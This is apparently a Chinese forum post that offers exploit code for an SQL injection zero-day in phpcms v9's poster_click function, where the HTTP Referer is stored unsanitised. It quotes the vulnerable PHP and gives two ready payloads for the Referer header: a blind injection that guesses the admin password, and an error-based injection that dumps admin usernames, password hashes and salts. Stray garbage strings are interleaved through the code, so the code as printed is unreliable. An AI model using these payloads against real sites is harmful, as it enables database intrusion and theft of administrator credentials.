phpcms post_click注入0day利用代码

admin

有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:
; o& h3 D5 i/ ?- ^( D: S) N
/ c$ R0 j6 Z5 O6 k! `" g1 }问题函数\phpcms\modules\poster\index.php
! P# E% d  }& i  I+ R& Z* c
4 @/ ~4 r. R& [& Z. Apublic function poster_click() {
6 B, V$ B. i! h* }- ?$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
6 c$ z* B  n" t" k$r = $this->db->get_one(array('id'=>$id));
+ p4 s+ p* d3 R0 G! \if (!is_array($r) && empty($r)) return false;
$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
4 N( ~% Q, s1 q; q* p1 B( V$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
* R6 Q1 y  ~7 ?$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
+ j7 Z+ g1 ]- f7 _$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
  c  l  I  b6 n3 l6 t# l}
$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
$ w0 H: c, j, K! ]! O" I& v$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
} else {
$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
3 n% d9 k# {9 H/ w3 D4 ]}

- N' H! v# B7 i+ a) F0 o利用方式：
' z& [$ _9 E0 A! g  X
1、可以采用盲注入的手法：

referer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

通过返回页面，正常与否一个个猜解密码字段。

2、代码是花开写的，随手附上了：
# v8 h6 s3 }* _9 \! I
1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

此方法是爆错注入手法，原理自查。
